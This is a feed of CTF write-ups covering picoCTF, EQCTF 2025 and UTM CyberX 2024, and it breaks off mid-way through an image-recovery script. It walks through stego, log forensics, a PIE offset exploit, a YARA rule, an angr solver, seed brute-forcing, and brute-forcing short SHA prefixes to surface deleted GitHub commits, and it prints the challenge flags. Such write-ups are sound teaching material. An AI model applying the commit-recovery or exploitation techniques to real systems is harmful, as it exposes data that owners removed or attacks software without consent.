&lt;li&gt;Search for stepic tool&lt;br&gt;
- https://shankaraman.wordpress.com/tag/ctf/&lt;br&gt;
- https://code.tools/man/1/stepic/&lt;br&gt;
- https://pypi.org/project/stepic/&lt;/li&gt;
&lt;li&gt;Install stepic tool through pip&lt;/li&gt;
&lt;li&gt;Unhide the flag&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/upz.C2g3mM-C_EB0TR.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{fl4g_h45_fl4g57f48d94}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Ph4nt0m 1ntrud3r&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.BGJIE0a9_Z1Ilkfj.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Sort the time, since the reference times are messed up&lt;/li&gt;
&lt;li&gt;Decode flag encoded in base64 in a series of consecutive packets&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/solution.DRuGFjYT_ZtcO0W.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Event-Viewing&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.BX-UQJ4U_6T3gD.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Lookup 1033 Event, msi package install event id&lt;/li&gt;
&lt;li&gt;Filter with date and time, look for suspicious event after 1033 happen within a short time range, about 20 minutes, found&lt;/li&gt;
&lt;li&gt;&quot;EVERY TIME&quot; &amp;#x3C;---(from question), so clear date and time filter, find with keyword &quot;shutdown.exe&quot; throughout whole event log&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;Part 1:&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/part1log.kv7akOGi_Ztx4yX.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;strong&gt;Base64:&lt;/strong&gt; &lt;code&gt;cGljb0NURntFdjNudF92aTN3djNyXw==&lt;/code&gt;
&lt;strong&gt;Flag 1:&lt;/strong&gt; &lt;code&gt;picoCTF{Ev3nt_vi3wv3r_&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Part 2:&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/part2log.CUvMGrw9_ZvrVcV.webp&quot; alt=&quot;&quot;&gt;
&lt;strong&gt;Base64:&lt;/strong&gt; &lt;code&gt;MXNfYV9wcjN0dHlfdXMzZnVsXw==&lt;/code&gt;
&lt;strong&gt;Flag 2:&lt;/strong&gt; &lt;code&gt;1s_a_pr3tty_us3ful_&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Part 3:&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/part3log.ezD40MZv_Z2kUyaA.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;strong&gt;Base64:&lt;/strong&gt; &lt;code&gt;dDAwbF84MWJhM2ZlOX0=&lt;/code&gt;
&lt;strong&gt;Flag 3:&lt;/strong&gt; &lt;code&gt;t00l_81ba3fe9}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;[Binary Exploitation]&lt;/h2&gt;
&lt;h2&gt;PIE TIME&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.Ca4ZVEOY_2rbfY3.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Call the win() function&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Disassemble with gdb&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/disass.MY8Sw7pT_Zvbbx7.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Observe the difference in address between main function and win function
The difference is 0x96, thus, to call the function&apos;s address, it must always be &lt;code&gt;main()&lt;/code&gt; - &lt;code&gt;0x96&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;Launch the challenge&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/solution.fxn2ZW8i_ZTyh7q.webp&quot; alt=&quot;&quot;&gt;&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_a267144a}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;[General Skills]&lt;/h2&gt;
&lt;h2&gt;YaraRules0x100&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.DG7V_clH_Z1vIV7F.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;To detect malware sample with YARA rule while avoiding false positives and false negatives.&lt;/li&gt;
&lt;li&gt;Malware can exist in packed(obfuscated) or unpacked(fully extracted in memory), the rule should cover both version.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;rule suspacked
{
    strings:
        $packed_div = &quot;.text$div&quot;

    condition:
        all of them
}

rule susunpacked
{
    strings:
        $unpacked_xml = &quot;&amp;#x3C;?xml version=&apos;1.0&apos; encoding=&apos;UTF-8&apos; standalone=&apos;yes&apos;?&gt;&quot;
        $unpacked_dll = &quot;ADVAPI32.dll&quot;

    condition:
        all of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Search for yara rule, follow the hint given, work with the format:
https://yara.readthedocs.io/en/stable/writingrules.html&lt;/li&gt;
&lt;li&gt;Open file with ghidra, search for strings, do trial and error&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{yara_rul35_r0ckzzz_74c37bd8}&lt;/code&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/picoCTFbanner.BBuZga6A.png"/><enclosure url="/_astro/picoCTFbanner.BBuZga6A.png"/></item><item><title>EQCTF 2025</title><link>https://gr1d-init.github.io/blog/eqctf2025</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/eqctf2025</guid><description>Writeups for Equilibrium Solo CTF 2025</description><pubDate>Sat, 25 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;hr&gt;
&lt;h2&gt;Baka Mitai&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.CsKevD8e_Z178FvC.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check file information using checksec&lt;/li&gt;
&lt;li&gt;Decompilation using ghidra, check the flagchecker flow&lt;/li&gt;
&lt;li&gt;Deploy angr script, perform symbolic analysis
&lt;em&gt;References:&lt;/em&gt;
https://shinmao.github.io/posts/2022/02/bp1/
https://github.com/jakespringer/angr_ctf&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;Using checksec, we realised the file is dynamcally linked, stripped
&lt;img src=&quot;https://gr1d-init.github.io/_astro/fileinfo.M0rQw6qx_pkQ2q.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;Decompile with ghidra, since it&apos;s stripped, we have to find the main entry from entry function
&lt;img src=&quot;https://gr1d-init.github.io/_astro/entryFunction.CWV-0_iT_ZRD18R.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;Try to rename the variables, functions, for ease of analysis
&lt;img src=&quot;https://gr1d-init.github.io/_astro/renamed.DrgXV0fX_Z13S5Iy.webp&quot; alt=&quot;&quot;&gt;
From this point, we could know that:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;The program proceed if flag length == 0x37 (55 characters),&lt;/li&gt;
&lt;li&gt;It go through complex transformation, lastly doing flagcheck and tell if the flag provide from user input is correct&lt;/li&gt;
&lt;li&gt;Well, we are not going to reverse and go through these complex transformations.&lt;/li&gt;
&lt;li&gt;Instead, we will deploy angr script, automate this process&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;I deployed the angr script on google colab
&lt;img src=&quot;https://gr1d-init.github.io/_astro/googleColab._N2KWjEW_Z1HlLUY.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;!pip install angr

import angr
import claripy
  
# Define binary path and parameters
input_file_path = &apos;./chall&apos;
flag_length = 55
known_string = &apos;EQCTF{&apos;
FIND_ADDR = 0x4016e4
AVOID_ADDR = [0x4016fa, 0x40159f]
START_ADDR = 0x40158d

# Load the binary
proj = angr.Project(input_file_path, auto_load_libs=False, main_opts={&apos;base_addr&apos;: 0x400000})
  
# Create symbolic characters for the flag
known_chars = [claripy.BVV((known_string[i])) for i in range(len(known_string))]
flag_chars = [claripy.BVS(f&quot;flag_{i}&quot;, 8) for i in range(flag_length - len(known_string))]
flag = claripy.Concat(*known_chars + flag_chars)

# Create a blank state at the start address
state = proj.factory.blank_state(addr=START_ADDR)
state.options.add(angr.options.LAZY_SOLVES)
state.options.add(angr.options.UNICORN)
  
# Define the address of the local variable `local_58` (e.g., `[RBP - 0x50]`)
# Assume RBP is initialized to some stack base (common for blank_state)
stack_base = state.regs.rbp
local_58_address = stack_base - 0x50  # Offset to local variable `local_58`
  
# Store the symbolic flag into `local_58`
state.memory.store(local_58_address, flag)

# Pass the address of `local_58` in RDI (used by __isoc23_scanf)
state.regs.rdi = local_58_address

# Add constraints to ensure flag is printable (ASCII range 0x20 to 0x7e)
for k in flag_chars:
    state.solver.add(k &amp;#x3C; 0x7f)  # Less than 0x7f (127)
    state.solver.add(k &gt; 0x20)  # Greater than 0x20 (32)

# Create a simulation manager
sim_manager = proj.factory.simulation_manager(state)

# Explore paths to find the target address while avoiding bad paths
sim_manager.explore(find=FIND_ADDR, avoid=AVOID_ADDR)

# Check if a solution was found
if len(sim_manager.found) &gt; 0:
    # Evaluate the symbolic flag to retrieve its value
    solution = sim_manager.found[0].solver.eval(flag, cast_to=bytes)
    print(f&quot;Flag found: {solution.decode()}&quot;)
else:
    print(&quot;No solution found.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To understand how this script works in details, do check out the references provided, and follow the tutorials.
The scripting is hard, it just follow a strict template.
However, there are few points worth mentioning,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the start_addr, should be placed after scanf CALL instruction, better if placed at where complex transformation start&lt;/li&gt;
&lt;li&gt;symbolic stack approach is an important point, specifically for this challenge where you can&apos;t just use a universal angr template&lt;/li&gt;
&lt;li&gt;blank_state should be used instead of entry_state because strlen is called before scanf, if you define the sim manager with entry state, it will waste extra resources going through strlen library call. Within all libc library call, there are mutex locks which angr cant deal with, which is why you need to hook the function and simulate user input with symbolic memory&lt;/li&gt;
&lt;li&gt;find_addr, is the desired memory location where the instance of &quot;Correct&quot; is reached&lt;/li&gt;
&lt;li&gt;avoid_addr are the memory location to avoid such as &quot;Wrong&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/finalResult.qhUeuRYg_Z2Hu15.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Cryptic Token Diffusion&lt;/h2&gt;
&lt;h2&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.C2dTRo4D_1ONksG.webp&quot; alt=&quot;&quot;&gt;&lt;/h2&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Perform binary diffing&lt;/li&gt;
&lt;li&gt;Match index number to correspond characters&lt;/li&gt;
&lt;li&gt;Rearrange the character in ascending order according to their index number
&lt;em&gt;Tools required: vbindiff&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;Viewing the files, there are two versions of application. Thus, we try to compare the difference between versions.
&lt;img src=&quot;https://gr1d-init.github.io/_astro/files.7fkW2lfk_Z241GSH.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;vbindiff vault-v1.0.0.elf vault-1.2.1.elf
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Observe the pattern, we realised that there are two parts showing difference in binaries:
&lt;ul&gt;
&lt;li&gt;vault-v1.0.0 acts as the index number, corresponds to the characters in vault-v1.2.1
&lt;em&gt;Part 1&lt;/em&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/diff1.C2R5bIcs_ZFU6kz.webp&quot; alt=&quot;&quot;&gt;
&lt;em&gt;Part 2&lt;/em&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/diff2.DWSPMhxC_Z3AhYj.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;List out all the correspondence, sort them in ascending order, turn to ASCII and print it out&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;v1p1 = [12, 28, 0, 23, 15, 21, 10, 4, 27, 5, 26, 8, 17, 3, 18, 25]
v1p2 = [9, 13, 7, 24, 6, 2, 1, 11, 14, 22, 29, 16, 19, 20]

v2p1 = [0x37, 0x67, 0x45, 0x31, 0x62, 0x5f, 0x30, 0x46, 0x6e, 0x7b, 0x31, 0x74, 0x6e, 0x54, 0x34, 0x66]
v2p2 = [0x72, 0x30, 0x6E, 0x66, 0x31, 0x43, 0x51, 0x5F, 0x5F, 0x64, 0x7D, 0x31, 0x72, 0x79]

v1 = v1p1 + v1p2
v2 = v2p1 + v2p2

pairs = sorted(zip(v1, v2))

sorted_ascii = &apos;&apos;.join(chr(value) for _, value in pairs)

print(sorted_ascii)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final Result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/solution.B9WEySsu_1aAU3h.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Gen Z&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.X0swvYMg_1pBuki.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Deobfuscate the C code, you may choose not to as it just work&lt;/li&gt;
&lt;li&gt;Observe the log, figure out how the flag might relate to the timestamp&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;Opening the file, you will see obfuscated C code&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#define rn ;
#define finna =
#define cap !=
#define mf *
#define bouta &amp;#x26;
#define ongod ++
#define sheesh &amp;#x3C;
#define fr &amp;#x3C;&amp;#x3C;
#define bet if
#define chief main
#define yikes break
#define deadass return
#define skibidi {
#define tho }
#define bussin cout
#define huh true
#define lit double

#include &amp;#x3C;iostream&gt;
#include &amp;#x3C;fstream&gt;
#include &amp;#x3C;iomanip&gt;
#include &amp;#x3C;openssl/sha.h&gt;


using namespace std rn

unsigned int seed() skibidi
    deadass static_cast&amp;#x3C;unsigned int&gt;(time(nullptr)) rn
tho

string getHash(lit value) skibidi
    ostringstream oss rn
    oss fr setprecision(17) fr value rn
    string text finna oss.str() rn
    unsigned char hash[SHA256_DIGEST_LENGTH] rn
    SHA256(reinterpret_cast&amp;#x3C;const unsigned char mf&gt;(text.c_str()), text.size(), hash) rn
    ostringstream result rn
    for (int i finna 0 rn i sheesh SHA256_DIGEST_LENGTH rn i ongod) {
        result fr hex fr setw(2) fr setfill(&apos;0&apos;) fr static_cast&amp;#x3C;int&gt;(hash[i]) rn
    tho
    deadass result.str() rn
tho


int chief() skibidi
    while (huh) skibidi
        unsigned int s finna seed() rn
        srand(s) rn
        int x finna rand() rn

        string flag finna getHash(x) rn

        bet (flag.find(&quot;a9ba358e&quot;) cap string::npos) {  
            ofstream outfile(&quot;./flag&quot;) rn
            bet (outfile.is_open()) {
                outfile fr &quot;EQCTF{&quot; fr flag fr &quot;tho&quot; rn
                outfile.close() rn
            tho
            yikes rn
        tho
  
        time_t now finna time(0) rn
        tm mf ltm finna localtime(bouta now) rn


        bussin fr &quot;[&quot; fr 1900 + ltm-&gt;tm_year fr &quot;-&quot; rn
        bussin fr 1 + ltm-&gt;tm_mon fr &quot;-&quot; rn
        bussin fr ltm-&gt;tm_mday fr &quot;] &quot; rn
        bussin fr &quot;🤓☝️ erm actually, you&apos;re incorrect 🥺👉👈: &quot; fr x fr endl rn
    tho
    bussin fr &quot;Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿&quot; fr endl rn

    deadass 0 rn
tho
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just replace the obfuscated part with its actual symbol as shown in define list, to ease our debugging process.&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;After debobfuscation,&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;#x3C;iostream&gt;
#include &amp;#x3C;fstream&gt;
#include &amp;#x3C;iomanip&gt;
#include &amp;#x3C;openssl/sha.h&gt;
  
using namespace std;
  
unsigned int seed()
{
    return static_cast&amp;#x3C;unsigned int&gt;(time(nullptr));
}

string getHash(double value)
{
    ostringstream oss;
    oss &amp;#x3C;&amp;#x3C; setprecision(17) &amp;#x3C;&amp;#x3C; value;
    string text = oss.str();
  
    unsigned char hash[SHA256_DIGEST_LENGTH];
    SHA256(reinterpret_cast&amp;#x3C;const unsigned char *&gt;(text.c_str()), text.size(), hash);

    ostringstream result;
    for (int i = 0; i &amp;#x3C; SHA256_DIGEST_LENGTH; i++)
    {
        result &amp;#x3C;&amp;#x3C; hex &amp;#x3C;&amp;#x3C; setw(2) &amp;#x3C;&amp;#x3C; setfill(&apos;0&apos;) &amp;#x3C;&amp;#x3C; static_cast&amp;#x3C;int&gt;(hash[i]);
    }
    return result.str();
}


int main()
{
    while (true)
    {
        unsigned int s = seed();
        srand(s);
        int x = rand();

        string flag = getHash(x);

        if (flag.find(&quot;a9ba358e&quot;) != string::npos)
        {
            ofstream outfile(&quot;./flag&quot;);
            if (outfile.is_open())
            {
                outfile &amp;#x3C;&amp;#x3C; &quot;EQCTF{&quot; &amp;#x3C;&amp;#x3C; flag &amp;#x3C;&amp;#x3C; &quot;}&quot;;
                outfile.close();
            }
            break;
        }

        time_t now = time(0);
        tm *ltm = localtime(&amp;#x26;now);
  
        cout &amp;#x3C;&amp;#x3C; &quot;[&quot; &amp;#x3C;&amp;#x3C; 1900 + ltm-&gt;tm_year &amp;#x3C;&amp;#x3C; &quot;-&quot;;
        cout &amp;#x3C;&amp;#x3C; 1 + ltm-&gt;tm_mon &amp;#x3C;&amp;#x3C; &quot;-&quot;;
        cout &amp;#x3C;&amp;#x3C; ltm-&gt;tm_mday &amp;#x3C;&amp;#x3C; &quot;] &quot;;
        cout &amp;#x3C;&amp;#x3C; &quot;🤓☝️ erm actually, you&apos;re incorrect 🥺👉👈: &quot; &amp;#x3C;&amp;#x3C; x &amp;#x3C;&amp;#x3C; endl;
    }
    cout &amp;#x3C;&amp;#x3C; &quot;Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿&quot; &amp;#x3C;&amp;#x3C; x &amp;#x3C;&amp;#x3C; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Observing the logfile,
&lt;img src=&quot;https://gr1d-init.github.io/_astro/logfile.CDQ6qzsm_eSnK9.webp&quot; alt=&quot;&quot;&gt;
We should focus that flag is paired up on [2025-01-01], so we should patch our c code to run on that time stamp, and which we just need to fix the seed() function
Part that affect:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;unsigned int s = seed();
srand(s);
int x = rand();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Patched seed() function:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;// Brute-force timestamp around 2025-01-01
unsigned int seed() {
    static time_t test_time = 1735689600;  // 2025-01-01 00:00:00 UTC
    if (test_time &amp;#x3C;= 1735775999) {  // 2025-01-01 23:59:59 UTC
        return static_cast&amp;#x3C;unsigned int&gt;(test_time++);
    }
    return static_cast&amp;#x3C;unsigned int&gt;(time(nullptr)); // Fallback to current time
}
// -------------------------------------------
// You may also add the line for Found correct seed: to indicate that you found correct seed
if (flag.find(&quot;a9ba358e&quot;) != string::npos) { 
    ofstream outfile(&quot;./flag&quot;); 
    if (outfile.is_open()) { 
        outfile &amp;#x3C;&amp;#x3C; &quot;EQCTF{&quot; &amp;#x3C;&amp;#x3C; flag &amp;#x3C;&amp;#x3C; &quot;}&quot;; 
        outfile.close(); } 
        cout &amp;#x3C;&amp;#x3C; &quot;Found correct seed: &quot; &amp;#x3C;&amp;#x3C; s &amp;#x3C;&amp;#x3C; endl; 
        break; 
    }
...
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Due to the usage of openssl/sha.h, we should compile our C++ file as below&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;g++ -o gen_z chall.cpp -lssl -lcrypto
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Execute the file&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;./gen_z
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final result&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/correctSeed.Cj_PW3GY_23XS2J.webp&quot; alt=&quot;&quot;&gt;
And flag file is generated:
&lt;img src=&quot;https://gr1d-init.github.io/_astro/flag.fZPoe3fx_Z2abYJp.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Github&lt;/h2&gt;
&lt;p&gt;Here compiles all the challenge related to bruteforing github commit SHA1 hashes&lt;/p&gt;
&lt;h3&gt;Goals&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Some commits are deleted, but it is still hidden on github with original SHA1 key unless the whole repo is deleted and rebuilt.&lt;/li&gt;
&lt;li&gt;We need to scrape the hidden commit by doing bruteforcing from hex 0000 until ffff to retrieve all the available commit hashes&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Challenges&lt;/h3&gt;
&lt;p&gt;| Challenges | Category |
| -------- | -------- |
| Garry: Beyond Music&apos;s End 3 | OSINT |
| Github is weirdddd 1.0 | Brainfuck |
| Github is weirdddd 2.0 | Brainfuck |&lt;/p&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;@gr1d    wrote a bruteforce tool, &lt;a href=&quot;https://github.com/gr1d-init/gitsha&quot;&gt;GitSHA&lt;/a&gt;, for these challenges.&lt;/p&gt;
&lt;h4&gt;Steps&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Install the tool.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;git clone https://github.com/gr1d-init/gitsha.git
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Automate bruteforcing with the tool.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;python gitsha.py -r &quot;&amp;#x3C;author&apos;s name&gt;/&amp;#x3C;repo&apos;s name&gt;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Final result&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Garry: Beyond Music&apos;s End 3&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;3419
4568 #
66f8
8da4 #
a5b6 #
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Github is weirdddd 1.0 and 2.0&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;0067
0b3d
2a63
458e (GitHub 2.0)
481f
4bec
5b27
5ef6
621e
693a
724c
8f66
a24a
b2ff
c47a
cf29
cfba (GitHub 1.0)
ed44
ed90
f6aa
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Flags&lt;/h4&gt;
&lt;p&gt;| Challenges | Category |
| -------- | -------- |
| Garry: Beyond Music&apos;s End 3 | EQCTF{w1z4rd_0f_l3g3nds_1n_d1sgu1s3} |
| Github is weirdddd 1.0 | EQCTF{hmmmmmmmm_G1t_L3ak_d@_Fl3g} |
| Github is weirdddd 2.0 | EQCTF{Brut3333333333_D@_C0mm1t_99} |&lt;/p&gt;</content:encoded><h:img src="/_astro/eqctfbanner.BhVFHB-a.png"/><enclosure url="/_astro/eqctfbanner.BhVFHB-a.png"/></item><item><title>UTM CyberX Internal CTF 2024</title><link>https://gr1d-init.github.io/blog/cyberxctf2024</link><guid isPermaLink="true">https://gr1d-init.github.io/blog/cyberxctf2024</guid><description>Writeups for UTM CyberX Internal CTF 2024</description><pubDate>Fri, 27 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Forensics&lt;/h2&gt;
&lt;hr&gt;
&lt;h2&gt;Apocalypse&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://gr1d-init.github.io/_astro/question.C4n4xyLH_1AvlSD.webp&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Notorious hacker CyberSteal6969 has struck again, this time targeting CyberX, stealing a highly confidential flag. Our team managed to seize his personal computer, but the system was wiped clean, except for a single, suspicious image left behind.&lt;/p&gt;
&lt;p&gt;Reports suggest CyberSteal6969 may have been communicating with his counterpart using morse code from video. But leave no stone unturned. Can you uncover the secrets within and retrieve the stolen flag?&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;Goals&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Use pngchecker to check the status of the given image, obtained ERROR:&quot;additional data after IEND chunk&quot;, which is after the cropped image&lt;/li&gt;
&lt;li&gt;Use Acropalypse-Multi-Tool to recover the full image
https://www.youtube.com/watch?v=R866SnJoKQg&lt;/li&gt;
&lt;li&gt;Login to flickr with the credentials given&lt;/li&gt;
&lt;li&gt;Try to find some useful informations across profile&lt;/li&gt;
&lt;li&gt;Grab the pictures and analyse the metadata&lt;/li&gt;
&lt;li&gt;Use wayback machine to track past version across the sites&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h4&gt;Steps&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;pngchecker analyse the image&lt;br&gt;
&lt;img src=&quot;https://gr1d-init.github.io/_astro/pngchecker.Bj8GwY4s_Z1xNjkf.webp&quot; alt=&quot;&quot;&gt;&lt;/li&gt;
&lt;li&gt;Use the script to recover the full image&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import zlib
import io
import struct
import tempfile
import os

class Acropalypse():
    def parse_png_chunk(self, stream):
        size = int.from_bytes(stream.read(4), &quot;big&quot;)
        ctype = stream.read(4)
        body = stream.read(size)
        csum = int.from_bytes(stream.read(4), &quot;big&quot;)
        assert(zlib.crc32(ctype + body) == csum)
        return ctype, body

